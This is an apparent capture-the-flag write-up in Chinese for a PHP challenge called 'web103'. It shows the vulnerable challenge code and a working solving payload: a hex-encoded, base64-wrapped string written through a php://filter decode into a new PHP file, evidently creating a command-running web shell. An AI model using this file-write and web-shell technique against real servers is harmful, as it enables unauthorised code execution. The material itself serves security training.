web103笔记(playload不能有php)
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-23 21:03:24 */ highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); } ?> Notice: Undefined index: v1 in /var/www/html/index.php on line 14 Notice: Undefined index: v2 in /var/www/html/index.php on line 15 Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker
上题payload就没有php
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mm.php
post:
v1=hex2bin


 
 
                    
                 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号